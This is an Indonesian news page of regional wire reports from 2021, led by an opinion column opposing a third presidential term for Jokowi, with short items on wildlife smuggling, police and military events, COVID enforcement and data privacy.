Oleh Tamsil Linrung *) Jakarta, FNN - Gagasan presiden tiga periode agaknya semakin serius. Kalau dulu sebatas opini, sekarang jadi tindakan. Dulu hanya selentingan pemikiran, sekarang menjadi gerakan terorganisir. Bahkan difestivalisasi. Gimiknya bahkan dibuat heroik. Seolah jadi pilihan terakhir republik. Padahal konstitusi jelas-jelas tidak mengenal kosa kata tiga periode. Komunitas Jokowi-Prabowo (Jokpro) 2024, begitu seorang peneliti politik mengenalkannya ke publik. Tiba-tiba, sang surveyor menjadi praktisi. Berperan sebagai inisiator terbentuknya Sekretariat Nasional Jokpro 2024. Lengkap secara struktural. Banyak yang geram. Tak sedikit menuding inkonstitusional. Bahkan dari kubu dan pendukung pemerintah sendiri. Entah itu otentik, atau juga orkestrasi gimik. Semua serba buram sekarang ini. Rakyat Menolak Untuk memperoleh gambaran kemauan rakyat terhadap wacana presiden tiga periode, yang menjadi patokan harusnya survei yang fokus memotret respon responden pada wacana tersebut. Saiful Mujani Research Center (SMRC) melakukannya pada 21-28 Mei 2021. SMRC menanyakan kepada responden, apakah ketentuan masa jabatan presiden perlu diubah? Hasilnya, 74 responden menyatakan harus dipertahankan alias tetap dua periode, sementara hanya 13 persen menyatakan perlu diubah. Hasil itu terlihat timpang bila mengaca pada keyakinan Qodari yang sejak beberapa bulan lalu mewacanakan presiden tiga periode. Malah semakin dipertegas ketika SMRC juga menemukan, sebanyak 52,9 persen responden tidak menginginkan Jokowi mencalonkan diri lagi. Di sisi lain, Presiden Jokowi Widodo terlihat tampak dan seolah konsisten menolak wacana tiga periode sejak awal isu ini bergulir. Kalimat presiden yang lekat terngiang, hanya ada tiga kemungkinan bagi mereka yang menggulirkan isu tersebut: ingin menampar mukanya, ingin menjerumuskannya, atau ingin cari muka. Dalam polemik Jokpro 2024 pun tak jauh beda. Sejauh ini, Jokowi mengisyaratkan kekeh menolak. Ditimpali pernyataan berkop Istana lansiran Juru Bicara Presiden. Katanya, Jokowi tegak lurus kepada konstitusi UUD 1945 dan setia kepada reformasi 1998. Kendati menolak, namun tidak terlihat respon tegas Presiden . Tidak ada larangan atau teguran keras kepada mereka yang mengusung dirinya. Padahal, hanya Jokowi yang berhak melarang dan menegur. Atas nama demokrasi, yang lain di luar Jokowi tidak memiliki hak tersebut. Hal ini membangkitkan ingatan kolektif publik ketika Jokowi selaku Gubernur DKI Jakarta. "Saya mau fokus menyelesaikan banjir, macet, bajaj, monorel, MRT. Saya gak ada mikir itu (pencalonan pilpres)," imbuhnya kepada media pada 7 Februari 2013. Namun bandul politik yang tampak menciptakan momentum kala itu, rupanya mengubah sikap Jokowi 180 derajat. Dalam polemik presiden tiga periode kali ini, Jokowi tentu saja kembali berada di pusaran. Mengapa Jokowi? Karena nama Jokowi-lah yang diusung Jokpro 2024 dan Jokowi pula yang menjadi aktor paling memungkinkan dalam wacana presiden tiga periode. Seseorang yang tidak ingin diusung tentu punya hak melarang orang lain yang memaksakan diri mengusungnya, wabil khusus jika dilakukan tanpa izin. Respon keras Presiden Jokowi penting agar wacana presiden tiga periode tidak berlanjut sebagaimana juga menjadi keinginan Presiden Jokowi. Juga agar rakyat tidak keliru memahami sikap presiden. Apalagi, Qodari menyatakan keyakinannya secara terbuka. "Ya, beliau bicara normatif saja karena amendemen UUD 1945 kan hanya menyatakan dua periode. Kalau nanti bisa diubah tiga periode, saya kira Pak Jokowi tidak bisa menolak apalagi kalau partai politik, seperti PDIP, yang meminta beliau maju …" demikian Qodari sebagaimana dikutip Republika. Memagari Persepsi Bila presiden menolak wacana tiga periode, ada baiknya segera bersikap tegas, melarang dan menegur mereka bertindak jauh mengusung dirinya meski berkali-kali telah menolak. Perlu ada korelasi yang saling membangun antara sikap dan perbuatan. Nanggung rasanya kalau presiden hanya menolak, namun tidak melarang kegiatan dimaksud. Sikap tegas presiden menjadi penting agar persepsi rakyat dapat dipagari sehingga tidak berkembang liar. Bukan tidak mungkin muncul anggapan, presiden menikmati situasi ini. Atau, lebih ekstrim lagi, anggapan bahwa tangan istana ada di belakang wacana presiden tiga periode. Wacana itu mulai menyeruak. TEMPO mengabarkan indikasi manuver Istana, melalui pengakuan politikus Partai Gerakan Indonesia Raya Arief Poyuono yang pernah diajak berdiskusi beberapa kali oleh pejabat Istana. Arief didorong mewacanakan gagasan tiga periode Jokowi. Pertengahan Maret 2021, Arief mulai menggulirkan wacana tersebut. Dan dia pujian dari banyak orang dekat Jokowi, termasuk seorang menteri yang memberinya jempol melalui whatsapp. TEMPO lalu melakukan penelusuran, menemui belasan petinggi partai politik dan lembaga survei yang mengetahui manuver Istana. Meski menolak namanya disebut, namun mereka membeberkan sejumlah menteri dan pejabat yang dekat dengan Jokowi ikut merancang skenario presiden tiga periode. Ada dua skenario yang dibangun. Pertama, menggulirkan wacana presiden tiga periode, dan kedua memperpanjang masa jabatan presiden yang diikuti perpanjangan masa jabatan Anggota DPR dan DPD. Sinyalemen perpanjangan masa jabatan pernah juga diungkap Pendiri Partai Umat Amien Rais. Barangkali, debatnya bukan sekadar boleh tidaknya presiden tiga periode, atau boleh tidaknya perpanjangan masa jabatan. Yang substansial adalah urgensi di balik kebutuhan perubahan masa jabatan tersebut. Memandang dari sudut aturan konstitusi adalah satu perspektif. Tetapi, pencapaian pembangunan adalah perspektif lain yang seharusnya menjadi pertimbangan. Sayangnya, dalam debat yang mengemuka, capaian pembangunan tidak pernah menjadi titik tumpu pertimbangan. Padahal, meski konstitusi membolehkan, belum tentu rakyat menghendaki petahana mencalonkan lagi. Nyaris tidak ada alasan memberikan tiket kepada pemerintah saat ini melanjutkan mengurus republik. Bahkan kita sering membaca, atau mendengarkan pemikiran yang sebaliknya. Publik mulai jengah. Utang negara yang meroket, jor-joran pembangunan infrastruktur tidak tepat sasaran, BUMN terpuruk, dana haji misterius, ekonomi anjlok, penerimaan pajak ambruk, dan gelombang pengangguran. Apa beberapa indikator itu tidak cukup untuk membuat mawas diri? Situasi yang semakin runyam, semestinya menyadarkan realitas buruk muka yang perlu dibenahi. *) Penulis adalah Anggota DPD RI

BKSDA Bengkulu Melepasliarkan Ribuan Burung Hasil Sitaan

Pesawaran, FNN - Petugas Seksi Konservasi Wilayah III (SKW) Lampung BKSDA Bengkulu melepasliarkan ribuan jenis burung hasil sitaan di Taman Hutan Raya (Tahura) Wan Abdul Rachman (Tahura WAR), Pesawaran, Selasa. Ribuan burung berbagai jenis seperti cucak daun lebar, cucak daun kecil, cucak sayap biru, dan burung madu leher merah ini merupakan hasil tangkapan yang diamankan tim gabungan bersama kepolisian dan LSM/NGO Flight Protecting Indonesia Bird. Kasi SKW III BKSDA Bengkulu Hifzon Zawahiri menyebutkan dari sebanyak 3.726 ekor burung, 36 ekor di antaranya burung yang dilindungi yang disita saat hendak dibawa ke Pulau Jawa, pada Senin (21/6) di Jalan Tol Trans Sumatera, Lampung. "Yang kami lepasliarkan ini merupakan jenis burung yang tidak dilindungi. Untuk jenis yang dilindungi akan menjalani rehabilitasi," katanya. Menurut dia, sebanyak 36 ekor burung yang menjalani rehabilitasi sekaligus dijadikan sebagai barang bukti proses hukum oleh aparat kepolisian. "Jenis burung yang direhabilitasi adalah beo, jalak kebo, trucukan, prenjak, dan cucak ijo," ujarnya. Direktur Komunikasi Flight Protecting Indonesia's Bird Nabila Fatma menyatakan pihaknya mengapresiasi Polda Lampung, BKSDA Bengkulu, dan Balai Karantina Lampung atas kerja kerasnya dalam upaya menggagalkan penyelundupan ribuan burung tersebut. Menurut di, perburuan dan penyelundupan burung Sumatera ini seakan tidak ada habis-habisnya untuk memenuhi permintaan pasar pasar burung di Pulau Jawa, hal ini harus dihentikan. "Perburuan yang marak mengancam populasi dan ekosistem burung di Sumatera, mengingat burung memiliki fungsi ekologi bagi ekosistem, seperti menyebarkan benih tanaman dan penyeimbang rantai makanan," ujarnya. Nabila menambahkan, dalam tiga tahun terakhir penyelundupan 165 ribu ekor burung Sumatera menuju Jawa berhasil digagalkan petugas. Sebagian besar terjadi di Pelabuhan Bakauheni, Lampung Selatan. "Burung-burung ini sebagian berasal dari luar Lampung, seperti Riau, Sumatera Barat, Jambi, dan Bangka Belitung. Lampung adalah tempat transit sebelum burung diselundupkan ke Jawa," katanya. (mth)

HUT ke-75, Polisi Militer TNI AD Didorong Terus Berinovasi

Jakarta, FNN - Satuan Polisi Militer TNI Angkatan Darat (Pomad) didorong dapat meningkatkan inovasi dan kreativitas demi mendukung pelaksanaan tugas dan operasi serta mengharumkan nama TNI AD, kata Komandan Pusat Polisi Militer TNI AD (Danpuspomad) Letnan Jenderal TNI Chandra W. Sukotjo. Kreativitas dan inovasi dibutuhkan demi menciptakan ide-ide baru yang dapat memperkuat kerja Polisi Militer TNI AD, kata Danpuspomad dalam amanatnya saat peringatan HUT ke-75 Polisi Militer TNI AD, Selasa. Demi mencapai tujuan itu, Danpuspomad dalam keterangannya di Jakarta, Selasa, meminta seluruh jajaran Polisi Militer TNI AD untuk terlibat dalam program khusus yang berlangsung sejak 1 Juni 2021 sampai 31 Mei 2022. “Harapan saya selama satu tahun pelaksanaan program ini dapat menunjukkan kinerja yang semakin profesional dan adaptif dalam mendukung tugas pokok TNI AD,” kata Danpuspomad sebagaimana dikutip dari keterangan tertulis Penerangan Kodam XVIII/Kasuari. Tidak hanya itu, Danpuspomad dalam amanatnya kepada jajaran polisi militer juga meminta mereka agar tidak melupakan sejarah. Sejak Polisi Militer TNI AD terbentuk sejak 22 Juni 1946, para pendahulu dan senior korps telah menorehkan sejarah lewat perjuangan dan pengorbanan, kata Danpuspomad. “Oleh karena itu, sebagai generasi penerus, saya mengingatkan kembali agar kita jangan sekali-kali melupakan sejarah, karena sejarah akan membuka mata hati kita bagaimana para pendahulu berjuang, rela berkorban dengan tulus ikhlas dan tanpa pamrih,” terang Chandra ke jajaran polisi militer. Pesan-pesan dari Danpuspomad itu kemudian diteruskan ke anggota Polisi Militer TNI AD di Kodam XVIII/Kasuari, Papua Barat, oleh Komandan Polisi Militer Kodam XVIII/Kasuari (Danpomdam) Kolonel Cpm Irsyad Hamdie Bey Anwar saat apel di Manokwari, Selasa. Dalam apel tersebut, Danpomdam XVIII/Kasuari menyebut perlunya penguatan pembinaan satuan Polisi Militer TNI AD di Papua Barat. Kunci untuk mencapai tujuan itu, antara lain pembangunan fisik dan sistem dalam satuan Polisi Militer Kodam XVIII/Kasuari, yang baru resmi terbentuk empat tahun yang lalu. “Kita harus bisa membuat lompatan-lompatan dan akselerasi kemajuan satuan sehingga ke depan Polisi Militer Kodam XVIII/Kasuari mampu mensejajarkan diri bahkan lebih baju dari satuan Podam lainnya,” kata Kolonel Cpm Irsyad dikutip dari keterangan tertulis Penerangan Kodam XVIII/Kasuari. (sws)

Bupati Tanah Laut Janji Copot Pejabat Lakukan Pungli

Banjarmasin, FNN - Bupati Tanah Laut, Kalimantan Selatan, Sukamta berjanji mencopot pejabat di daerah ini yang terbukti melakukan pungutan liar (pungli) dalam bentuk apa pun saat memberikan pelayanan publik kepada masyarakat. "Daerah kita sudah menjadi percontohan kota bebas pungli di Kalimantan Selatan, ini komitmen dan tanggung jawab besar agar tak ada lagi penyimpangan dalam pelayanan," kata dia di Banjarmasin, Selasa. Untuk itu Sukamta meminta masyarakat agar melaporkan setiap ada pungli ketika berurusan di Pemerintahan Kabupaten Tanah Laut agar bisa menekan aksi penyimpangan dalam pelayanan publik. Ia mengakui celah potensi pungli kerap muncul ketika ada pelayanan yang berbelit-belit dan memberatkan hingga akhirnya masyarakat berpikir untuk mencari jalur "belakang" dalam mengurus suatu dokumen perizinan dan sebagainya. Sukamta mengatakan sudah saatnya pelayanan publik termasuk perizinan dipermudah tanpa ada unsur yang memberatkan masyarakat. "Saya minta pelayanan cepat dan terbaik. Tanpa pungli kita lebih enak menegakkan aturan. Tidak ada ini itu atau pesanan khusus yang pada akhirnya melanggar prosedur," tegasnya. Bahkan bupati menginstruksikan Pelayanan Terpadu Satu Pintu (PTSP) dapat memanfaatkan teknologi informasi berupa aplikasi dalam proses perizinan sehingga masyarakat tidak perlu datang ke Tanah Laut ketika mengurus perizinan yang sekaligus mencegah celah pungli jika terjadi interaksi tatap muka antara petugas dan pemohon. "Kami ingin investasi masuk sebanyak-banyaknya ke Tanah Laut. Saya buka seluas-luasnya bagi investor, saya beri kemudahan perizinan guna mendukung program pemerintah meningkatkan investasi membangun daerah," tandasnya. Kabupaten Tanah Laut berbekal satu SKPD berpredikat zona integritas Wilayah Birokrasi Bersih dan Melayani (WBBM) dan empat SKPD meraih Wilayah Bebas dari Korupsi (WBK) dari Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi, menjadi percontohan kota bebas pungli yang pencanangannya dihadiri langsung Ketua Satgas Saber Pungli Komjen Pol Agung Budi Maryoto di Banjarmasin hari ini (Selasa). (sws)

Ketua Umum Muhammadiyah: Lima Teladan Bung Karno yang Patut Ditiru

Jakarta, FNN - Ketua Umum Pengurus Pusat Muhammadiyah Haedar Nashir menyebutkan setidaknya ada lima teladan Proklamator RI Soekarno yang patut ditiru oleh masyarakat Indonesia. "Pertama, Bung Karno telah memberikan contoh bagi kita sebagaimana para pendiri bangsa dan pejuang bangsa di negeri tercinta, yakni pengkhidmatan, perjuangan, dan pengorbanan yang tanpa pamrih untuk Indonesia, baik sewaktu melawan penjajah maupun setelah Indonesia merdeka," kata Haedar dalam siaran persnya, di Jakarta, Selasa. Bung Karno, lanjut dia, sampai harus dibuang ke Ende, Bengkulu, dan diasingkan ke berbagai tempat. Bahkan, Bung Karno pernah dipenjara di Bandung. "Yang kedua, kita belajar dari Bung Karno adalah sosok yang bersahaja dan mencintai rakyat kecil. Sampai akhir hayatnya, kita kenal Bung Karno tidak punya harta dan materi, tetapi sejarah perjalanannya sangat mencintai rakyat kecil, lahir, dan batin," ungkapnya. Menurut Haedar, konsep Marhaenisme adalah wujud dari pengkhidmatan Bung Karno untuk membela kaum lemah, duafa, dan rakyat jelata. Haedar mengharapkan tindakan Bung Karno itu mengilhami para anak bangsa. "Yang ketiga, kita belajar dari Bung Karno tentang sosok pemimpin yang cerdas, berilmu, berwawasan, dan bervisi kebangsaan yang melintas batas. Bung Karno adalah pembelajar yang selalu haus ilmu, belajar pada siapa pun, pada Tjokroaminoto, Kiai Dahlan, dan tokoh-tokoh lain yang menjadi rujukan dari sejarah perjalanannya di samping pada tokoh-tokoh dunia," paparnya. Bung Karno, lanjut Haedar, gemar membaca dan visi kebangsaannya melampaui zaman. Bung Karno sosok yang mampu mengintegrasikan keagamaan, keislaman, dan kebangsaan atau keindonesiaan. Menurut Haedar, ketika Piagam Jakarta kemudian dikompromikan, lalu lahir kesepakatan yang menjadi dasar dari Hari Konstitusi 18 Agustus 1945 tentang Pancasila, dalam sila Ketuhanan Yang Maha Esa. "Ini adalah bukti Bung Karno adalah sosok yang selalu mencari titik temu tentang agama dan keindonesiaan yang merupakan keteladanan yang keempat," ujarnya. Bahkan ketika mengeluarkan Dekrit 5 Juli 1959 disebutkan Piagam Jakarta adalah menjiwai Undang-Undang Dasar 1945. Dia menambahkan, Bung Karno betul-betul memberi teladan bahwa agama dan Islam bukanlah lawan dari keindonesiaan, kebangsaan. Namun, satu senyawa untuk Indonesia. "Yang kelima kita belajar dari Bung Karno tentang kenegarawanan. Jiwa kenegarawanan Bung Karno melintas batas dan melampaui segalanya. Beliau mengutamakan kepentingan bangsa dan negara dari kepentingan diri dan kelompoknya," tambahnya. Bahkan, Bung Karno berdialog dengan siapa saja dan tetap menjalin hubungan dengan mereka yang berpandangan politik berbeda. Bung Karno menjadi sosok yang dalam saat-saat kritis menempatkan kepentingan rakyat dan bangsa di atas segalanya. "Lima teladan ini di samping masih banyak teladan yang lainnya harus menjadi rujukan kita yang mengenang Bung Karno, mencintai Bung Karno, dan ingin meneruskan jejak Bung Karno sebagaimana tokoh-tokoh bangsa di republik tercinta ini. Bagaimana kita selalu berjuang tanpa pamrih bersahaja tanpa memupuk materi dan cinta rakyat kecil lahir dan batin dalam tindakan nyata," kata Haedar. Dia meminta pihak-pihak yang mengenang Bung Karno saat ini, tidak hanya mengenal secara ritual, tetapi mengambil sari dari jejak langkah pria kelahiran 6 Juni 1901 itu. (sws)

DPRD Minahasa Tenggara Minta Disnakertrans Awasi Keberadaan TKA

Minahasa Tenggara, FNN - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Minahasa Tenggara meminta Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans) untuk melakukan pengawasan terhadap aktivitas tenaga kerja asing (TKA) di sejumlah perusahaan tambang di daerah tersebut. "Tenaga kerja asing yang ada di sejumlah perusahaan tambang di daerah ini harus diawasi serius oleh instansi terkait," kata Ketua Komisi III DPRD Kabupaten Minahasa Tenggara Chris Rumansi di Ratahan, Selasa. Ia mengungkapkan, pihaknya menemukan tenaga kerja asing tersebut melakukan aktivitas di perusahaan tambang. "Ini harus ditelusuri apakah mereka mempunyai visa kerja atau tidak? Harus diperiksa juga status mereka melaksanakan kegiatan di perusahaan tambang ini," ujarnya. Dia menambahkan, pihaknya akan turun ke lapangan untuk memeriksa secara langsung keberadaan dan aktivitas para pekerja asing ini, bersama dengan sejumlah instansi terkait. "Kami berharap mereka ini tidak bersinggungan dengan pekerja lokal. Karena untuk mempekerjakan tenaga kerja asing itu diatur oleh undang-undang," katanya. Sementara Kepala Dinas Tenaga Kerja dan Transmigrasi Kabupaten Minahasa Tenggara Ferry Uway mengatakan, pihaknya akan melakukan pengawasan terhadap pekerja asing di sejumlah perusahaan tambang. "Kami akan turun bersama dengan sejumlah instansi teknis termasuk dengan Dinas Tenaga Kerja Provinsi dan Imigrasi," katanya. Lebih lanjut kata Ferry, pihaknya telah meminta kepada perusahaan yang mempekerjakan tenaga kerja asing agar tetap mematuhi peraturan perundang-undangan berkaitan dengan ketenagakerjaan. "Kami meminta para perusahaan untuk lebih memprioritaskan para tenaga kerja lokal ketika melaksanakan aktivitas," kata dia. (sws)

Polres Pekalongan Kota Bekuk Dua Tersangka Narkoba

Pekalongan, FNN - Kepolisian Resor Pekalongan Kota, Jawa Tengah, membekuk dua tersangka kasus narkotika dan obat berbahaya sekaligus mengamankan dua paket sabu-sabu yang terbungkus plastik di dalam korek api dan dua telepon genggam. Kepala Polres Pekalongan Kota Mochmamad Irwan Susanto pada konferensi pers di Mapolresta Pekalongan, Selasa, mengatakan bahwa pengungkapan kasus tersebut berawal adanya laporan masyarakat kepada Satuan Reserse Narkoba (Satresnarkoba) yang menginformasikan bahwa di sekitar Pasar Banyurip ada transaksi narkoba. Setelah menerima informasi itu, kemudian anggota Resnarkoba yang saat itu sedang melakukan operasi rutin langsung menuju tempat kejadian perkara (TKP) untuk melakukan penyelidikan. "Ternyata benar, di lokasi itu ada dua pelaku yang akan melakukan transaksi sabu-sabu sehingga mereka langsung diringkus dan dibawa ke Mapolresta Pekalongan untuk dilakukan proses penyidikan," katanya. Kapolres yang didampingi Kepala Subbagian Humas AKP Suparji mengatakan dari hasil keterangan dua tersangka, yaitu DK (27) warga Kuripan Kertoharjo, Kecamatan Pekalongan dan AYP (21) warga Desa Pandansari, Kabupaten Batang, bahwa mereka adalah pengguna dan pemakai narkoba. "Dua tersangka itu, pengguna dan pengedar sabu-sabu," katanya. Ia mengatakan para tersangka kedapatan tanpa hak atau melawan hukum memiliki, menyimpan, menguasai, atau menyediakan narkotika golongan I bukan tanaman. "Tersangka akan dijerat pasal 112 ayat 1 Undang-Undang RI Nomor 35 Tahun 2009 tentang Narkotika dengan ancaman hukuman pidana maksimal 20 tahun penjara dan minimal enam tahun penjara," katanya. (sws)

BNN Sultra Tes Urine Puluhan Personel Korem 143/Haluoleo

Kendari, 22/6 (ANTARA) - Badan Narkotika Nasional (BNN) Provinsi Sulawesi Tenggara (Sultra) melakukan tes urine kepada puluhan personel dan aparatur sipil negara (ASN) di lingkungan Korem 143/Haluoleo untuk mencegah penyalahgunaan dan peredaran gelap narkoba. Koordinator Bidang Pencegahan dan Pemberdayaan Masyarakat BNNP Sultra Harmawati melalui rilis, Selasa, mengatakan tes urine tersebut merupakan bentuk sinergi pihaknya bersama Korem 143/Haluoleo dalam menciptakan lingkungan kerja yang bersih dan bebas narkoba. "Pelaksanaan tes urine dilakukan kepada 49 orang personel Korem 143/Haluolro. Berdasarkan hasil screening semua sampel negatif," katanya. Ia menyampaikan, sebelum melakukan pemeriksaan urine terlebih dahulu dilakukan sosialisasi upaya pemberantasan, pencegahan, penyalahgunaan, dan peredaran gelap narkotika (P4GN). "Sosialisasi ini bertujuan agar para peserta kegiatan menjadi imun dari bahaya penyalahgunaan narkoba dan menciptakan lingkungan kerja bebas narkoba," ujar Harmawati. Komandan Korem 143/Haluoloe diwakili Kepala Staf Korem 143/Haluoleo Kolonel Inf Trirana Subekti dalam sambutannya menyampaikan kebijakan pimpinan TNI dalam memberantas narkoba di lingkungan kerja khususnya anggota Korem 143/HO Kendari. Sosialisasi dan tes urine itu dilakukan dengan menerapkan protokol kesehatan yaitu menjaga jarak, menggunakan masker, hand sanitizer, dan mengukur suhu tubuh dengan thermogun untuk mencegah penyebaran COVID-19. (sws)

Polisi Bantu Percepatan Penanganan COVID-19 di Mukomuko

Mukomuko, FNN - Kepolisian Resor Mukomuko, Provinsi Bengkulu, membantu percepatan penanganan COVID-19 dengan menggelar kegiatan bakti sosial donor darah yang juga dalam rangka HUT ke-75 Bhayangkara, Selasa. "Kami menggelar kegiatan bakti sosial donor darah ini guna mendukung percepatan penanganan COVID-19 di daerah ini," kata Kepala Kepolisian Resor Kabupaten Mukomuko AKBP Andy Arisandi dalam keterangannya di Mukomuko, Selasa. Ia mengatakan hal itu guna menindaklanjuti kegiatan bakti sosial donor darah Polres Mukomuko dalam rangka HUT ke-75 Bhayangkara di depan Klinik Medika 12 Bhayangkara Polres Mukomuko. Kegiatan bakti sosial donor darah Polres Mukomuko dalam rangka HUT ke-75 Bhayangkara pada Selasa mulai pukul 09.00 WIB sampai dengan selesai di depan Klinik Medika 12 Bhayangkara Kepolisian Resor Mukomuko. Ia mengatakan, kegiatan bakti sosial donor darah ini diikuti oleh sebagian besar personil Polres Mukomuko dan personil Kodim 0428 Mukomuko serta pegawai negeri sipil dan masyarakat umum di daerah ini. Kapolres Mukomuko mengatakan kegiatan bakti sosial donor darah ini sejalan dengan tema HUT ke-75 Bhayangkara, "Transformasi Polri Yang Presisi Mendukung Percepatan Penanganan COVID-19 untuk Masyarakat Sehat dan Pemulihan Ekonomi Nasional Menuju Indonesia Maju". Ia berharap, dengan adanya kegiatan bakti sosial donor darah yang digelar oleh Polres Mukomuko ini dapat memenuhi kebutuhan darah untuk masyarakat setempat yang membutuhkannya. Selain itu, kegiatan ini diharapkan dapat mendorong sebagai pihak terkait lainnya di daerah ini untuk melaksanakan kegiatan yang sama sebagai upaya untuk menuju masyarakat yang sehat di daerah ini. Selanjutnya, ia mengajak masyarakat setempat mendonorkan darahnya untuk memenuhi kebutuhan darah di sarana kesehatan di daerah ini. Ia menyatakan, kegiatan bakti sosial donor darah yang digelar di depan Klinik Medika 12 Bhayangkara Kepolisian Resor Mukomuko itu dengan menerapkan protokol kesehatan pencegahan penularan dan penyebaran COVID-19 di daerah setempat. (sws)

Polresta Surakarta Kerja Sama Kementerian Agama Kasus Perusakan Makam

Solo, FNN - Tim Penyidik Polres Kota Surakarta akan bekerja sama dengan Kantor Kementerian Agama setempat terkait bocah-bocah siswa pengikut lembaga pendidikan yang terlibat kasus perusakan makam mum Cemoro Kembar di Kelurahan Mojo, Kecamatan Pasar Kliwon, Surakarta, Jawa Tengah. "Kami segera berkoordinasi dengan Kantor Kementerian Agama Surakarta terkait rekomendasi kegiatan pendidikan itu, dari sisi perizinan," kata Kepala Polresta Surakarta, Komisaris Besar Polisi Ade S Simanjutak, usai rapat koordinasi bersama Pemda dan Korem 074/Warastratama, di Balai Kota Surakarta, Selasa. Menurut dia, data menyatakan kegiatan pendidikan yang ada di Kelurahan Mojo itu tidak memiliki izin yang terdaftar di Kantor Kementerian Agama Surakarta. "Kami juga mendorong Kementerian Agama membentuk tim terpadu untuk memetakan mutu pendidikan dari materi pembelajaran yang selama ini, diajarkan kepada para muridnya. Hal ini, untuk mendudukan masalahnya yang sejelas-jelasnya," kata dia. Menurut dia dari hasil pemetaan itu merekomendasikan 39 anak yang menjadi siswa belajar di kegiatan pendidikan itu dengan pembinaan khusus. Hal ini, untuk mendudukan kembali anak-anak agar tidak melenceng dari ajaran agama. "Kami bersama-sama unsur TNI Kodim 0735 maupun Korem 074/Warastratama dan pemerintah daerah setempat untuk bisa menyikapi dengan cepat dan baik. Semua berjalan sebagaimana biasa tidak ada toleransi atau apapun juga yang sifatnya memecah belah persatuan dan kesatuan bangsa," kata dia. Proses hukum kasus perusakan makam tetap berjalan ada enam pengasuh di tempat kegiatan belajar itu yang sudah diperiksa. Dari hasil penilaian Kantor Kementerian Agama Surakarta, akan menentukan rekomendasi langkah tindaklanjut yang dilakukan lembaga itu, jika tidak ada izin harus ditutup operasionalnya. Wali Kota Surakarta, Gibran Rakabuning Raka, menyinggung ijin sekolah yang berdiri di Kelurahan Mojo Kecamatan Pasar Kliwon Solo itu. Selama penutupan karena pandemi mereka bisa melakukan pembelajaran tatap muka (PTM). "Izinnya seperti apa sekolah yang lain di Solo dia melakukan PTM. Protokol kesehatan sudah dilanggar dan tidak tepat," kata dia. Ia mengatakan, anak-anak yang kemarin merusak makam umum akan dibina dan harus diluruskan pola pikirnya. Siswanya usia dari tiga gingga 12 tahun banyak yang dari luar kota. "Kasus itu, semua sudah ditangani Polres. Yang jelas sekolahnya harus ditutup. Kami sudah menelusuri semuanya baik tenaga pengajar. Mereka pindahan dari suatu tempat," kata dia. Perusakan makam yang dilakukan anak-anak murid di sebuah lembaga pendidikan diduga tidak ada izinnya itu, akan tetap diproses dan tidak bisa dibiarkan, apalagi melibatkan murid yang masih kecil usia tiga hingga 12 tahun. "Yang merusak makam dinilai sudah keterlaluan. Apalagi melibatkan anak-anak, nanti segera diproses sesuai hukum yang berlaku," kata dia.(sws)

Pemkot Pekalongan Jaring 194 Pelanggar Protokol Kesehatan

Pekalongan, FNN - Pemerintah Kota Pekalongan, Jawa Tengah, melalui operasi yustisi yang digelar selama dua hari terakhir ini menjaring sebanyak 194 pelanggar protokol kesehatan sekaligus mereka diberikan sanksi melakukan "jumping jack". Kepala Satuan Polisi Pamong (Satpol PP) Praja Kota Pekalongan Sri Budi Santosa di Pekalongan, Selasa mengatakan, bahwa pada kegiatan pengendalian dan pengawasan penegakan protokol kesehatan itu, pihaknya melibatkan TNI dan Polri. "Hasilnya, kami menjaring 194 pelanggar prokes. Mereka yang terjaring diberikan sanksi 'jumping jack' untuk memberikan efek jera," katanya. Menurut dia, pada kegiatan operasi yustisi tersebut difokuskan pada sejumlah titik keramaian seperti Pasar Krempyeng, pasar Sorogenen, Jalan Nusantara, Pasar Kuripan, kawasan Mataram, dan pasar Banyurip. Di lokasi Pasar Krempyeng, pasar Sorogenen, Jalan Nusantara, kawasan Mataram, dan Pasar Kuripan, petugas memberikan sanksi kepada 127 pelanggar protokol kesehatan sedang di Pasar Banyurip sebanyak 67 pelanggar. Sri Budi mengatakan tingkat kepatuhan masyarakat dalam menerapkan protokol kesehatan cenderung masih rendah sehingga tim satuan tugas penanganan COVID-19 terus menggencarkan operasi yustisi. "Satgas COVID-19 bersama sejumlah instansi terkait akan terus memberikan sosialisasi dan peringatan kepada masyarakat agar mereka patuh pada protokol kesehatan, apalagi penyebaran kasus COVID-19 di daerah cenderung meningkat," katanya. Ia menambahkan penanganan COVID-19 menjadi tugas bersama sehingga masyarakat diharapkan mematuhi protokol kesehatan dan menjalankan 5M yaitu memakai masker, mencuci tangan dengan menggunakan sabun, jaga jarak, menghindari kerumunan, dan membatasi mobilitas aktivitas. (sws)

Akademisi: Perlindungan Data Pribadi Sangat Penting

Jakarta, FNN - Akademisi Universitas Terbuka Daryono menegaskan pentingnya perlindungan terhadap data pribadi dari kemungkinan terjadinya penyalahgunaan data. "Data pribadi digital seperti kunci, kalau data pribadi kita diketahui oleh orang lain atau diambil alih secara melawan hukum, tentunya sudah bisa diketahui apa akan terjadi," kata Daryono dalam webinar perlindungan data pribadi elektronik di Jakarta, Selasa. Guru besar Ilmu Hukum itu menyatakan data pribadi digital berhubungan dengan berbagai aset, baik yang memiliki nilai ekonomi maupun tidak, sehingga sangat berpotensi terjadi penyalahgunaan. Kata dia, dalam transaksi digital selalu menggunakan "identifer" data pribadi sebagai validator. "Perlindungan tidak hanya dilakukan dari sisi teknologi, namun yang paling penting juga dari aspek hukum," jelas Daryono. Menurut Daryono, aspek hukum mengatur tata kelola dan bagaimana menghindari penyalahgunaan data pribadi dari berbagai aspek. Daryono mengungkapkan perkembangan digital transaksi di Indonesia begitu masih setiap tahunnya berdasarkan data Bank Indonesia. Tahun 2018 sebanyak 40 juta transaksi digital dengan nilai sebesar Rp47,1 triliun. Angka itu meningkat di tahun 2019 sebanyak 80 juta transaksi digital dengan nilai sebesar RpRp156,2 triliun. Pada tahun 2020, sebanyak 140 juta transaksi digital dengan nilai sebesar Rp204,9 triliun. Sementara hingga pertengahan tahun 2021, sebanyak 573 juta transaksi digital dengan nilai Rp3.114 triliun. "Mungkin akibat dari pandemi, sehingga sebagian besar transaksi dilakukan secara digital," ungkap Daryono. Daryono berharap kedepannya, perlindungan digital aset begitu sangat penting. Apalagi kata dia, dengan digodoknya Rancangan Undang-Undang Perlindungan Data Pribadi bisa menjadi salah satu upaya perlindungan data pribadi. (sws)

Dua Pria di Bali Membobol Vila Turis Asing Hingga Ratusan Juta Rupiah

